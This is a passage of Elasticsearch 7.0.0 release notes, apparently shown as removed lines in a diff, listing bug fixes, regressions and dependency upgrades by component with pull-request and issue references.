-* Fix duplicate phrase in shrink/split error message {es-pull}36734[#36734] (issue: {es-issue}36729[#36729])
-* Get Aliases with wildcard exclusion expression {es-pull}34230[#34230] (issues: {es-issue}33518[#33518], {es-issue}33805[#33805], {es-issue}34144[#34144])
-
-Features/Ingest::
-* Fix Deprecation Warning in Script Proc. {es-pull}32407[#32407]
-* Support unknown fields in ingest pipeline map configuration {es-pull}38352[#38352] (issue: {es-issue}36938[#36938])
-* Ingest node - user_agent, move device parsing to an object {es-pull}38115[#38115] (issues: {es-issue}37329[#37329], {es-issue}38094[#38094])
-* Fix on_failure with Drop processor {es-pull}36686[#36686] (issue: {es-issue}36151[#36151])
-* Support default pipelines + bulk upserts {es-pull}36618[#36618] (issue: {es-issue}36219[#36219])
-* Ingest ingest then create index {es-pull}39607[#39607] (issues: {es-issue}32758[#32758], {es-issue}32786[#32786], {es-issue}36545[#36545])
-
-Features/Java High Level REST Client::
-* Drop extra level from user parser {es-pull}34932[#34932]
-* Update IndexTemplateMetadata to allow unknown fields {es-pull}38448[#38448] (issue: {es-issue}36938[#36938])
-* `if_seq_no` and `if_primary_term` parameters aren't wired correctly in REST Client's CRUD API {es-pull}38411[#38411]
-* Update Rollup Caps to allow unknown fields {es-pull}38339[#38339] (issue: {es-issue}36938[#36938])
-* Fix ILM explain response to allow unknown fields {es-pull}38054[#38054] (issue: {es-issue}36938[#36938])
-* Fix ILM status to allow unknown fields {es-pull}38043[#38043] (issue: {es-issue}36938[#36938])
-* Fix ILM Lifecycle Policy to allow unknown fields {es-pull}38041[#38041] (issue: {es-issue}36938[#36938])
-* Update authenticate to allow unknown fields {es-pull}37713[#37713] (issue: {es-issue}36938[#36938])
-* Update verify repository to allow unknown fields {es-pull}37619[#37619] (issue: {es-issue}36938[#36938])
-* Update get users to allow unknown fields {es-pull}37593[#37593] (issue: {es-issue}36938[#36938])
-* Update Execute Watch to allow unknown fields {es-pull}37498[#37498] (issue: {es-issue}36938[#36938])
-* Update Put Watch to allow unknown fields {es-pull}37494[#37494] (issue: {es-issue}36938[#36938])
-* Update Delete Watch to allow unknown fields {es-pull}37435[#37435] (issue: {es-issue}36938[#36938])
-* Fix rest reindex test for IPv4 addresses {es-pull}37310[#37310]
-* Fix weighted_avg parser not found for RestHighLevelClient {es-pull}37027[#37027] (issue: {es-issue}36861[#36861])
-
-Features/Java Low Level REST Client::
-* Remove I/O pool blocking sniffing call from onFailure callback, add some logic around host exclusion {es-pull}27985[#27985] (issue: {es-issue}27984[#27984])
-* Fix potential IllegalCapacityException in LLRC when selecting nodes {es-pull}37821[#37821]
-
-Features/Monitoring::
-* Allow built-in monitoring_user role to call GET _xpack API {es-pull}38060[#38060] (issue: {es-issue}37970[#37970])
-* Don't emit deprecation warnings on calls to the monitoring bulk API. {es-pull}39805[#39805] (issue: {es-issue}39336[#39336])
-
-Features/Watcher::
-* Ignore system locale/timezone in croneval CLI tool {es-pull}33215[#33215]
-* Support merge nested Map in list for JIRA configurations {es-pull}37634[#37634] (issue: {es-issue}30068[#30068])
-* Watcher accounts constructed lazily {es-pull}36656[#36656]
-* Ensures watch definitions are valid json {es-pull}30692[#30692] (issue: {es-issue}29746[#29746])
-* Use non-ILM template setting up watch history template & ILM disabled {es-pull}39325[#39325] (issue: {es-issue}38805[#38805])
-* Only flush Watcher's bulk processor if Watcher is enabled {es-pull}38803[#38803] (issue: {es-issue}38798[#38798])
-* Fix Watcher stats class cast exception {es-pull}39821[#39821] (issue: {es-issue}39780[#39780])
-* Use any index specified by .watches for Watcher {es-pull}39541[#39541] (issue: {es-issue}39478[#39478])
-* Resolve concurrency with watcher trigger service {es-pull}39092[#39092] (issue: {es-issue}39087[#39087])
-* Metric on watcher stats is a list not an enum {es-pull}39114[#39114]
-
-Geo::
-* Test `GeoShapeQueryTests#testPointsOnly` fails {es-pull}27454[#27454]
-* More robust handling of ignore_malformed in geoshape parsing {es-pull}35603[#35603] (issues: {es-issue}34047[#34047], {es-issue}34498[#34498])
-* Better handling of malformed geo_points {es-pull}35554[#35554] (issue: {es-issue}35419[#35419])
-* Enables coerce support in WKT polygon parser {es-pull}35414[#35414] (issue: {es-issue}35059[#35059])
-* Fix GeoHash PrefixTree BWC {es-pull}38584[#38584] (issue: {es-issue}38494[#38494])
-* Do not normalize the longitude with value -180 for Lucene shapes {es-pull}37299[#37299] (issue: {es-issue}37297[#37297])
-* Geo Point parse error fix {es-pull}40447[#40447] (issue: {es-issue}17617[#17617])
-
-Highlighting::
-* Bug fix for AnnotatedTextHighlighter - port of 39525 {es-pull}39750[#39750] (issue: {es-issue}39525[#39525])
-
-Infra/Core::
-* Ensure shard is refreshed once it's inactive {es-pull}27559[#27559] (issue: {es-issue}27500[#27500])
-* Bubble-up exceptions from scheduler {es-pull}38317[#38317] (issue: {es-issue}38014[#38014])
-* Revert back to joda's multi date formatters {es-pull}36814[#36814] (issues: {es-issue}36447[#36447], {es-issue}36602[#36602])
-* Propagate Errors in executors to uncaught exception handler {es-pull}36137[#36137] (issue: {es-issue}28667[#28667])
-* Correct name of basic_date_time_no_millis {es-pull}39367[#39367]
-* Allow single digit milliseconds in strict date parsing {es-pull}40676[#40676] (issue: {es-issue}40403[#40403])
-* Parse composite patterns using ClassicFormat.parseObject {es-pull}40100[#40100] (issue: {es-issue}39916[#39916])
-* Bat scripts to work with JAVA_HOME with parantheses {es-pull}39712[#39712] (issues: {es-issue}30606[#30606], {es-issue}33405[#33405], {es-issue}38578[#38578], {es-issue}38624[#38624])
-* Change licence expiration date pattern {es-pull}39681[#39681] (issue: {es-issue}39136[#39136])
-* Fix DateFormatters.parseMillis when no timezone is given {es-pull}39100[#39100] (issue: {es-issue}39067[#39067])
-* Don't close caches while there might still be in-flight requests. {es-pull}38958[#38958] (issue: {es-issue}37117[#37117])
-* Allow single digit milliseconds in strict date parsing {es-pull}40676[#40676] (issue: {es-issue}40403[#40403])
-
-Infra/Packaging::
-* Remove NOREPLACE for /etc/elasticsearch in rpm and deb {es-pull}37839[#37839]
-* Packaging: Update marker used to allow ELASTIC_PASSWORD {es-pull}37243[#37243] (issue: {es-issue}37240[#37240])
-* Remove permission editing in postinst {es-pull}37242[#37242] (issue: {es-issue}37143[#37143])
-* Some elasticsearch-cli tools could not be run not from ES_HOME {es-pull}39937[#39937]
-* Obsolete pre 7.0 noarch package in rpm {es-pull}39472[#39472] (issue: {es-issue}39414[#39414])
-* Suppress error message when `/proc/sys/vm/max_map_count` is not exists. {es-pull}35933[#35933]
-* Use TAR instead of DOCKER build type before 6.7.0 {es-pull}40723[#40723] (issues: {es-issue}39378[#39378], {es-issue}40511[#40511])
-* Source additional files correctly in elasticsearch-cli {es-pull}40890[#40890] (issue: {es-issue}40889[#40889])
-
-Infra/REST API::
-* Reject all requests that have an unconsumed body {es-pull}37504[#37504] (issues: {es-issue}30792[#30792], {es-issue}37501[#37501], {es-issue}8217[#8217])
-* Fix #38623 remove xpack namespace REST API {es-pull}38625[#38625]
-* Remove the "xpack" namespace from the REST API {es-pull}38623[#38623]
-* Update spec files that erroneously documented parts as optional  {es-pull}39122[#39122]
-* ilm.explain_lifecycle documents human again {es-pull}39113[#39113]
-* Index on rollup.rollup_search.json is a list {es-pull}39097[#39097]
-
-Infra/Scripting::
-* Fix Painless void return bug {es-pull}38046[#38046]
-* Correct bug in ScriptDocValues {es-pull}40488[#40488]
-
-Infra/Settings::
-* Change format how settings represent lists / array {es-pull}26723[#26723]
-* Fix setting by time unit {es-pull}37192[#37192]
-* Fix handling of fractional byte size value settings {es-pull}37172[#37172]
-* Fix handling of fractional time value settings {es-pull}37171[#37171]
-
-Infra/Transport API::
-* Remove version read/write logic in Verify Response {es-pull}30879[#30879] (issue: {es-issue}30807[#30807])
-* Enable muted Repository test {es-pull}30875[#30875] (issue: {es-issue}30807[#30807])
-* Bad regex in CORS settings should throw a nicer error {es-pull}29108[#29108]
-
-Index APIs::
-* Fix duplicate phrase in shrink/split error message {es-pull}36734[#36734] (issue: {es-issue}36729[#36729])
-* Raise a 404 exception when document source is not found (#33384) {es-pull}34083[#34083] (issue: {es-issue}33384[#33384])
-
-Ingest::
-* Fix on_failure with Drop processor {es-pull}36686[#36686] (issue: {es-issue}36151[#36151])
-* Support default pipelines + bulk upserts {es-pull}36618[#36618] (issue: {es-issue}36219[#36219])
-* Support default pipeline through an alias {es-pull}36231[#36231] (issue: {es-issue}35817[#35817])
-
-License::
-* Update versions for start_trial after backport {es-pull}30218[#30218] (issue: {es-issue}30135[#30135])
-* Do not serialize basic license exp in x-pack info {es-pull}30848[#30848]
-* Update versions for start_trial after backport {es-pull}30218[#30218] (issue: {es-issue}30135[#30135])
-
-Machine Learning::
-* Interrupt Grok in file structure finder timeout {es-pull}36588[#36588]
-* Prevent stack overflow while copying ML jobs and datafeeds {es-pull}36370[#36370] (issue: {es-issue}36360[#36360])
-* Adjust file structure finder parser config {es-pull}35935[#35935]
-* Fix find_file_structure NPE with should_trim_fields {es-pull}35465[#35465] (issue: {es-issue}35462[#35462])
-* Prevent notifications being created on deletion of a non existent job {es-pull}35337[#35337] (issues: {es-issue}34058[#34058], {es-issue}35336[#35336])
-* Clear Job#finished_time when it is opened (#32605) {es-pull}32755[#32755]
-* Fix thread leak when waiting for job flush (#32196) {es-pull}32541[#32541] (issue: {es-issue}32196[#32196])
-* Fix CPoissonMeanConjugate sampling error. {ml-pull}335[#335]
-* Report index unavailable instead of waiting for lazy node {es-pull}38423[#38423]
-* Fix error race condition on stop _all datafeeds and close _all jobs {es-pull}38113[#38113] (issue: {es-issue}37959[#37959])
-* Update ML results mappings on process start {es-pull}37706[#37706] (issue: {es-issue}37607[#37607])
-* Prevent submit after autodetect worker is stopped {es-pull}37700[#37700] (issue: {es-issue}37108[#37108])
-* Fix ML datafeed CCS with wildcarded cluster name {es-pull}37470[#37470] (issue: {es-issue}36228[#36228])
-* Update error message for process update {es-pull}37363[#37363]
-* Wait for autodetect to be ready in the datafeed {es-pull}37349[#37349] (issues: {es-issue}36810[#36810], {es-issue}37227[#37227])
-* Stop datafeeds running when their jobs are stale {es-pull}37227[#37227] (issue: {es-issue}36810[#36810])
-* Order GET job stats response by job id {es-pull}36841[#36841] (issue: {es-issue}36683[#36683])
-* Make GetJobStats work with arbitrary wildcards and groups {es-pull}36683[#36683] (issue: {es-issue}34745[#34745])
-* Fix datafeed skipping first bucket after lookback when aggs are … {es-pull}39859[#39859] (issue: {es-issue}39842[#39842])
-* Refactoring lazy query and agg parsing {es-pull}39776[#39776] (issue: {es-issue}39528[#39528])
-* Stop the ML memory tracker before closing node {es-pull}39111[#39111] (issue: {es-issue}37117[#37117])
-* Scrolling datafeed should clear scroll contexts on error {es-pull}40773[#40773] (issue: {es-issue}40772[#40772])
-
-Mapping::
-* Ensure that field aliases cannot be used in multi-fields. {es-pull}32219[#32219]
-* Treat put-mapping calls with `_doc` as a top-level key as typed calls. {es-pull}38032[#38032]
-* Correct deprec log in RestGetFieldMappingAction {es-pull}37843[#37843] (issue: {es-issue}37667[#37667])
-* Restore a noop _all metadata field for 6x indices {es-pull}37808[#37808] (issue: {es-issue}37429[#37429])
-* Make sure PutMappingRequest accepts content types other than JSON. {es-pull}37720[#37720]
-* Make sure to use the resolved type in DocumentMapperService#extractMappings. {es-pull}37451[#37451] (issue: {es-issue}36811[#36811])
-* Improve Precision for scaled_float {es-pull}37169[#37169] (issue: {es-issue}32570[#32570])
-* Make sure to accept empty unnested mappings in create index requests. {es-pull}37089[#37089]
-* Stop automatically nesting mappings in index creation requests. {es-pull}36924[#36924]
-* Rewrite SourceToParse with resolved docType {es-pull}36921[#36921] (issues: {es-issue}35790[#35790], {es-issue}36769[#36769])
-* Optimise rejection of out-of-range `long` values {es-pull}40325[#40325] (issues: {es-issue}26137[#26137], {es-issue}40323[#40323])
-* Make sure to reject mappings with type _doc when include_type_name is false. {es-pull}38270[#38270] (issue: {es-issue}38266[#38266])
-
-Network::
-* Adjust SSLDriver behavior for JDK11 changes {es-pull}32145[#32145] (issues: {es-issue}32122[#32122], {es-issue}32144[#32144])
-* Netty4SizeHeaderFrameDecoder error {es-pull}31057[#31057]
-* Fix memory leak in http pipelining {es-pull}30815[#30815] (issue: {es-issue}30801[#30801])
-* Fix issue with finishing handshake in ssl driver {es-pull}30580[#30580]
-* Do not resolve addresses in remote connection info {es-pull}36671[#36671] (issue: {es-issue}35658[#35658])
-* Always compress based on the settings {es-pull}36522[#36522] (issue: {es-issue}36399[#36399])
-* http.publish_host Should Contain CNAME {es-pull}32806[#32806] (issue: {es-issue}22029[#22029])
-* Adjust SSLDriver behavior for JDK11 changes {es-pull}32145[#32145] (issues: {es-issue}32122[#32122], {es-issue}32144[#32144])
-* Add TRACE, CONNECT, and PATCH http methods {es-pull}31035[#31035] (issue: {es-issue}31017[#31017])
-* Transport client: Don't validate node in handshake {es-pull}30737[#30737] (issue: {es-issue}30141[#30141])
-* Fix issue with finishing handshake in ssl driver {es-pull}30580[#30580]
-* Remove potential nio selector leak {es-pull}27825[#27825]
-* Fix issue where the incorrect buffers are written {es-pull}27695[#27695] (issue: {es-issue}27551[#27551])
-* Do not set SO_LINGER on server channels {es-pull}26997[#26997]
-* Do not set SO_LINGER to 0 when not shutting down {es-pull}26871[#26871] (issue: {es-issue}26764[#26764])
-* Release pipelined http responses on close {es-pull}26226[#26226]
-* Reload SSL context on file change for LDAP {es-pull}36937[#36937] (issues: {es-issue}30509[#30509], {es-issue}36923[#36923])
-* Do not resolve addresses in remote connection info {es-pull}36671[#36671] (issue: {es-issue}35658[#35658])
-
-Packaging::
-* Fix error message when package install fails due to missing Java {es-pull}36077[#36077] (issue: {es-issue}31845[#31845])
-* Add missing entries to conffiles  {es-pull}35810[#35810] (issue: {es-issue}35691[#35691])
-
-Plugins::
-* Ensure that azure stream has socket privileges {es-pull}28751[#28751] (issue: {es-issue}28662[#28662])
-
-Ranking::
-* QueryRescorer should keep the window size when rewriting {es-pull}36836[#36836]
-
-Recovery::
-* Register ResyncTask.Status as a NamedWriteable {es-pull}36610[#36610]
-* RecoveryMonitor#lastSeenAccessTime should be volatile {es-pull}36781[#36781]
-* Create retention leases file during recovery {es-pull}39359[#39359] (issue: {es-issue}37165[#37165])
-* Recover peers from translog, ignoring soft deletes {es-pull}38904[#38904] (issue: {es-issue}37165[#37165])
-* Retain history for peer recovery using leases {es-pull}38855[#38855]
-* Resync should not send operations without sequence number {es-pull}40433[#40433]
-
-Rollup::
-* Fix rollup search statistics {es-pull}36674[#36674]
-* Fix Rollup's metadata parser {es-pull}36791[#36791] (issue: {es-issue}36726[#36726])
-* Fix rollup search statistics {es-pull}36674[#36674]
-* Remove timezone validation on rollup range queries {es-pull}40647[#40647]
-* Rollup ignores time_zone on date histogram {es-pull}40844[#40844]
-
-Scripting::
-* Properly support no-offset date formatting {es-pull}36316[#36316] (issue: {es-issue}36306[#36306])
-* [Painless] Generate Bridge Methods {es-pull}36097[#36097]
-* Fix serialization bug in painless execute api request {es-pull}36075[#36075] (issue: {es-issue}36050[#36050])
-* Actually add joda time back to whitelist {es-pull}35965[#35965] (issue: {es-issue}35915[#35915])
-* Add back joda to whitelist {es-pull}35915[#35915] (issue: {es-issue}35913[#35913])
-
-Settings::
-* Correctly Identify Noop Updates {es-pull}36560[#36560] (issue: {es-issue}36496[#36496])
-
-Search::
-* Ensure realtime `_get` and `_termvectors` don't run on the network thread {es-pull}33814[#33814] (issue: {es-issue}27500[#27500])
-* [bug] fuzziness custom auto {es-pull}33462[#33462] (issue: {es-issue}33454[#33454])
-* Fix inner hits retrieval when stored fields are disabled (_none_) {es-pull}33018[#33018] (issue: {es-issue}32941[#32941])
-* Set maxScore for empty TopDocs to Nan rather than 0 {es-pull}32938[#32938]
-* Handle leniency for cross_fields type in multi_match query {es-pull}27045[#27045] (issue: {es-issue}23210[#23210])
-* Raise IllegalArgumentException instead if query validation failed {es-pull}26811[#26811] (issue: {es-issue}26799[#26799])
-* Inner hits fail to propagate doc-value format. {es-pull}36310[#36310]
-* Fix custom AUTO issue with Fuzziness#toXContent {es-pull}35807[#35807] (issue: {es-issue}33462[#33462])
-* Fix analyzed prefix query in query_string {es-pull}35756[#35756] (issue: {es-issue}31702[#31702])
-* Fix problem with MatchNoDocsQuery in disjunction queries {es-pull}35726[#35726] (issue: {es-issue}34708[#34708])
-* Fix phrase_slop in query_string query {es-pull}35533[#35533] (issue: {es-issue}35125[#35125])
-* Add a More Like This query routing requirement check (#29678) {es-pull}33974[#33974]
-* Look up connection using the right cluster alias when releasing contexts {es-pull}38570[#38570]
-* Fix fetch source option in expand search phase {es-pull}37908[#37908] (issue: {es-issue}23829[#23829])
-* Change `rational` to `saturation` in script_score {es-pull}37766[#37766] (issue: {es-issue}37714[#37714])
-* Throw if two inner_hits have the same name {es-pull}37645[#37645] (issue: {es-issue}37584[#37584])
-* Ensure either success or failure path for SearchOperationListener is called {es-pull}37467[#37467] (issue: {es-issue}37185[#37185])
-* `query_string` should use indexed prefixes {es-pull}36895[#36895]
-* Avoid duplicate types deprecation messages in search-related APIs. {es-pull}36802[#36802]
-* Serialize top-level pipeline aggs as part of InternalAggregations {es-pull}40177[#40177] (issues: {es-issue}40059[#40059], {es-issue}40101[#40101])
-* CCS: Skip empty search hits when minimizing round-trips {es-pull}40098[#40098] (issues: {es-issue}32125[#32125], {es-issue}40067[#40067])
-* CCS: Disable minimizing round-trips when dfs is requested {es-pull}40044[#40044] (issue: {es-issue}32125[#32125])
-* Fix Fuzziness#asDistance(String) {es-pull}39643[#39643] (issue: {es-issue}39614[#39614])
-* Fix alias resolution runtime complexity. {es-pull}40263[#40263] (issue: {es-issue}40248[#40248])
-
-Security::
-* Handle 6.4.0+ BWC for Application Privileges {es-pull}32929[#32929]
-* Remove license state listeners on closeables {es-pull}36308[#36308] (issues: {es-issue}33328[#33328], {es-issue}35627[#35627], {es-issue}35628[#35628])
-* Fix exit code for Security CLI tools  {es-pull}37956[#37956] (issue: {es-issue}37841[#37841])
-* Fix potential NPE in UsersTool {es-pull}37660[#37660]
-* Remove dynamic objects from security index {es-pull}40499[#40499] (issue: {es-issue}35460[#35460])
-* Fix libs:ssl-config project setup {es-pull}39074[#39074]
-* Do not create the missing index when invoking getRole {es-pull}39039[#39039]
-
-Snapshot/Restore::
-* Upgrade GCS Dependencies to 1.55.0 {es-pull}36634[#36634] (issues: {es-issue}35229[#35229], {es-issue}35459[#35459])
-* Improve Resilience SnapshotShardService {es-pull}36113[#36113] (issue: {es-issue}32265[#32265])
-* Keep SnapshotsInProgress State in Sync with Routing Table {es-pull}35710[#35710]
-* Ensure that gcs client creation is privileged {es-pull}25938[#25938] (issue: {es-issue}25932[#25932])
-* Make calls to CloudBlobContainer#exists privileged {es-pull}25937[#25937] (issue: {es-issue}25931[#25931])
-* Fix Concurrent Snapshot Ending And Stabilize Snapshot Finalization {es-pull}38368[#38368] (issue: {es-issue}38226[#38226])
-* Fix Two Races that Lead to Stuck Snapshots {es-pull}37686[#37686] (issues: {es-issue}32265[#32265], {es-issue}32348[#32348])
-* Fix Race in Concurrent Snapshot Delete and Create {es-pull}37612[#37612] (issue: {es-issue}37581[#37581])
-* Streamline S3 Repository- and Client-Settings {es-pull}37393[#37393]
-* Blob store compression fix {es-pull}39073[#39073]
-
-SQL::
-* Fix translation of LIKE/RLIKE keywords {es-pull}36672[#36672] (issues: {es-issue}36039[#36039], {es-issue}36584[#36584])
-* Scripting support for casting functions CAST and CONVERT {es-pull}36640[#36640] (issue: {es-issue}36061[#36061])
-* Fix translation to painless for conditionals {es-pull}36636[#36636] (issue: {es-issue}36631[#36631])
-* Concat should be always not nullable {es-pull}36601[#36601] (issue: {es-issue}36169[#36169])
-* Fix MOD() for long and integer arguments {es-pull}36599[#36599] (issue: {es-issue}36364[#36364])
-* Fix issue with complex HAVING and GROUP BY ordinal {es-pull}36594[#36594] (issue: {es-issue}36059[#36059])
-* Be lenient for tests involving comparison to H2 but strict for csv spec tests {es-pull}36498[#36498] (issue: {es-issue}36483[#36483])
-* Non ISO 8601 versions of DAY_OF_WEEK and WEEK_OF_YEAR functions {es-pull}36358[#36358] (issue: {es-issue}36263[#36263])
-* Do not ignore all fields whose names start with underscore {es-pull}36214[#36214] (issue: {es-issue}36206[#36206])
-* Fix issue with wrong data type for scripted Grouping keys {es-pull}35969[#35969] (issue: {es-issue}35662[#35662])
-* Fix translation of math functions to painless {es-pull}35910[#35910] (issue: {es-issue}35654[#35654])
-* Fix jdbc jar to include deps {es-pull}35602[#35602]
-* Fix query translation for scripted queries {es-pull}35408[#35408] (issue: {es-issue}35232[#35232])
-* Clear the cursor if nested inner hits are enough to fulfill the query required limits {es-pull}35398[#35398] (issue: {es-issue}35176[#35176])
-* Introduce IsNull node to simplify expressions {es-pull}35206[#35206] (issues: {es-issue}34876[#34876], {es-issue}35171[#35171])
-* The SSL default configuration shouldn't override the https protocol if used {es-pull}34635[#34635] (issue: {es-issue}33817[#33817])
-* Minor fix for javadoc {es-pull}32573[#32573] (issue: {es-issue}32553[#32553])
-* Prevent grouping over grouping functions {es-pull}38649[#38649] (issue: {es-issue}38308[#38308])
-* Relax StackOverflow circuit breaker for constants {es-pull}38572[#38572] (issue: {es-issue}38571[#38571])
-* Fix issue with IN not resolving to underlying keyword field {es-pull}38440[#38440] (issue: {es-issue}38424[#38424])
-* Change the Intervals milliseconds precision to 3 digits {es-pull}38297[#38297] (issue: {es-issue}37423[#37423])
-* Fix esType for DATETIME/DATE and INTERVALS {es-pull}38179[#38179] (issue: {es-issue}38051[#38051])
-* Added SSL configuration options tests {es-pull}37875[#37875] (issue: {es-issue}37711[#37711])
-* Fix casting from date to numeric type to use millis {es-pull}37869[#37869] (issue: {es-issue}37655[#37655])
-* Fix BasicFormatter NPE {es-pull}37804[#37804]
-* Return Intervals in SQL format for CLI {es-pull}37602[#37602] (issues: {es-issue}29970[#29970], {es-issue}36186[#36186], {es-issue}36432[#36432])
-* Fix object extraction from sources {es-pull}37502[#37502] (issue: {es-issue}37364[#37364])
-* Fix issue with field names containing "." {es-pull}37364[#37364] (issue: {es-issue}37128[#37128])
-* Fix bug regarding alias fields with dots {es-pull}37279[#37279] (issue: {es-issue}37224[#37224])
-* Proper handling of COUNT(field_name) and COUNT(DISTINCT field_name) {es-pull}37254[#37254] (issue: {es-issue}30285[#30285])
-* Fix COUNT DISTINCT filtering {es-pull}37176[#37176] (issue: {es-issue}37086[#37086])
-* Fix issue with wrong NULL optimization {es-pull}37124[#37124] (issue: {es-issue}35872[#35872])
-* Fix issue with complex expression as args of PERCENTILE/_RANK {es-pull}37102[#37102] (issue: {es-issue}37099[#37099])
-* Handle the bwc Joda ZonedDateTime scripting class in Painless {es-pull}37024[#37024] (issue: {es-issue}37023[#37023])
-* Fix bug regarding histograms usage in scripting {es-pull}36866[#36866]
-* Fix issue with always false filter involving functions {es-pull}36830[#36830] (issue: {es-issue}35980[#35980])
-* Protocol returns ISO 8601 String formatted dates instead of Long for JDBC/ODBC requests {es-pull}36800[#36800] (issue: {es-issue}36756[#36756])
-* Enhance Verifier to prevent aggregate or grouping functions from {es-pull}36799[#36799] (issue: {es-issue}36798[#36798])
-* Fix translation of LIKE/RLIKE keywords {es-pull}36672[#36672] (issues: {es-issue}36039[#36039], {es-issue}36584[#36584])
-* Scripting support for casting functions CAST and CONVERT {es-pull}36640[#36640] (issue: {es-issue}36061[#36061])
-* Concat should be always not nullable {es-pull}36601[#36601] (issue: {es-issue}36169[#36169])
-* Fix issue with complex HAVING and GROUP BY ordinal {es-pull}36594[#36594] (issue: {es-issue}36059[#36059])
-* Add missing handling of IP field in JDBC {es-pull}40384[#40384] (issue: {es-issue}40358[#40358])
-* Fix metric aggs on date/time to not return double {es-pull}40377[#40377] (issues: {es-issue}39492[#39492], {es-issue}40376[#40376])
-* CAST supports both SQL and ES types {es-pull}40365[#40365] (issue: {es-issue}40282[#40282])
-* Fix RLIKE bug and improve testing for RLIKE statement {es-pull}40354[#40354] (issues: {es-issue}34609[#34609], {es-issue}39931[#39931])
-* Unwrap the first value in an array in case of array leniency {es-pull}40318[#40318] (issue: {es-issue}40296[#40296])
-* Preserve original source for cast/convert function {es-pull}40271[#40271] (issue: {es-issue}40239[#40239])
-* Fix LIKE function equality by considering its pattern as well {es-pull}40260[#40260] (issue: {es-issue}39931[#39931])
-* Fix issue with optimization on queries with ORDER BY/LIMIT {es-pull}40256[#40256] (issue: {es-issue}40211[#40211])
-* Rewrite ROUND and TRUNCATE functions with a different optional parameter handling method {es-pull}40242[#40242] (issue: {es-issue}40001[#40001])
-* Fix issue with getting DATE type in JDBC {es-pull}40207[#40207]
-* Fix issue with date columns returned always in UTC {es-pull}40163[#40163] (issue: {es-issue}40152[#40152])
-* Add multi_value_field_leniency inside FieldHitExtractor {es-pull}40113[#40113] (issue: {es-issue}39700[#39700])
-* Fix incorrect ordering of groupings (GROUP BY) based on orderings (ORDER BY) {es-pull}40087[#40087] (issue: {es-issue}39956[#39956])
-* Fix bug with JDBC timezone setting and DATE type {es-pull}39978[#39978] (issue: {es-issue}39915[#39915])
-* Use underlying exact field for LIKE/RLIKE {es-pull}39443[#39443] (issue: {es-issue}39442[#39442])
-* Fix display size for DATE/DATETIME {es-pull}40669[#40669]
-* Have LIKE/RLIKE use wildcard and regexp queries {es-pull}40628[#40628] (issue: {es-issue}40557[#40557])
-* Fix getTime() methods in JDBC {es-pull}40484[#40484]
-* SYS TABLES: enumerate tables of requested types {es-pull}40535[#40535] (issue: {es-issue}40348[#40348])
-* Passing an input to the CLI "freezes" the CLI after displaying an error message {es-pull}40164[#40164] (issue: {es-issue}40557[#40557])
-* Wrap ZonedDateTime parameters inside scripts {es-pull}39911[#39911] (issue: {es-issue}39877[#39877])
-* ConstantProcessor can now handle NamedWriteable {es-pull}39876[#39876] (issue: {es-issue}39875[#39875])
-* Extend the multi dot field notation extraction to lists of values {es-pull}39823[#39823] (issue: {es-issue}39738[#39738])
-* Values in datetime script aggs should be treated as long {es-pull}39773[#39773] (issue: {es-issue}37042[#37042])
-* Don't allow inexact fields for MIN/MAX {es-pull}39563[#39563] (issue: {es-issue}39427[#39427])
-* Fix merging of incompatible multi-fields {es-pull}39560[#39560] (issue: {es-issue}39547[#39547])
-* Fix COUNT DISTINCT column name {es-pull}39537[#39537] (issue: {es-issue}39511[#39511])
-* Enable accurate hit tracking on demand {es-pull}39527[#39527] (issue: {es-issue}37971[#37971])
-* Ignore UNSUPPORTED fields for JDBC and ODBC modes in 'SYS COLUMNS' {es-pull}39518[#39518] (issue: {es-issue}39471[#39471])
-* Enforce JDBC driver - ES server version parity {es-pull}38972[#38972] (issue: {es-issue}38775[#38775])
-* Fall back to using the field name for column label {es-pull}38842[#38842] (issue: {es-issue}38831[#38831])
-
-Suggesters::
-* Fix duplicate removal when merging completion suggestions {es-pull}36996[#36996] (issue: {es-issue}35836[#35836])
-
-Task Management::
-* Un-assign persistent tasks as nodes exit the cluster {es-pull}37656[#37656]
-
-Watcher::
-* Watcher accounts constructed lazily {es-pull}36656[#36656]
-* Only trigger a watch if new or schedule/changed {es-pull}35908[#35908]
-* Fix Watcher NotificationService's secure settings {es-pull}35610[#35610] (issue: {es-issue}35378[#35378])
-* Fix integration tests to ensure correct start/stop of Watcher {es-pull}35271[#35271] (issues: {es-issue}29877[#29877], {es-issue}30705[#30705], {es-issue}33291[#33291], {es-issue}34448[#34448], {es-issue}34462[#34462])
-
-ZenDiscovery::
-* Remove duplicate discovered peers {es-pull}35505[#35505]
-* Respect the no_master_block setting {es-pull}36478[#36478]
-* Cancel GetDiscoveredNodesAction when bootstrapped {es-pull}36423[#36423] (issues: {es-issue}36380[#36380], {es-issue}36381[#36381])
-* Only elect master-eligible nodes {es-pull}35996[#35996]
-* Remove duplicate discovered peers {es-pull}35505[#35505]
-* Fix size of rolling-upgrade bootstrap config {es-pull}38031[#38031]
-* Always return metadata version if metadata is requested {es-pull}37674[#37674]
-* Elect freshest master in upgrade {es-pull}37122[#37122] (issue: {es-issue}40[#40])
-* Fix cluster state persistence for single-node discovery {es-pull}36825[#36825]
-
-[[regression-7.0.0]]
-[discrete]
-=== Regressions
-
-Infra/Core::
-* Restore date aggregation performance in UTC case {es-pull}38221[#38221] (issue: {es-issue}37826[#37826])
-* Speed up converting of temporal accessor to zoned date time {es-pull}37915[#37915] (issue: {es-issue}37826[#37826])
-
-Mapping::
-* Performance fix. Reduce deprecation calls for the same bulk request {es-pull}37415[#37415] (issue: {es-issue}37411[#37411])
-
-Scripting::
-* Use Number as a return value for BucketAggregationScript {es-pull}35653[#35653] (issue: {es-issue}35351[#35351])
-
-[[upgrade-7.0.0]]
-[discrete]
-=== Upgrades
-
-Discovery-Plugins::
-* Bump jackson-databind version for AWS SDK {es-pull}39183[#39183]
-
-Engine::
-* Upgrade to lucene-8.0.0-snapshot-83f9835. {es-pull}37668[#37668]
-* Upgrade to Lucene 8.0.0-snapshot-ff9509a8df {es-pull}39350[#39350]
-* Upgrade to Lucene 8.0.0 {es-pull}39992[#39992] (issue: {es-issue}39640[#39640])
-
-Geo::
-* Upgrade JTS to 1.14.0 {es-pull}29141[#29141] (issue: {es-issue}29122[#29122])
-
-Ingest::
-* Update geolite2 database in ingest geoip plugin {es-pull}33840[#33840]
-* Bump jackson-databind version for ingest-geoip {es-pull}39182[#39182]
-
-Infra/Core::
-* Upgrade to a Lucene 8 snapshot {es-pull}33310[#33310] (issues: {es-issue}32899[#32899], {es-issue}33028[#33028], {es-issue}33309[#33309])
-
-Security::
-* Upgrade the bouncycastle dependency to 1.61 {es-pull}40017[#40017] (issue: {es-issue}40011[#40011])
-
-Search::
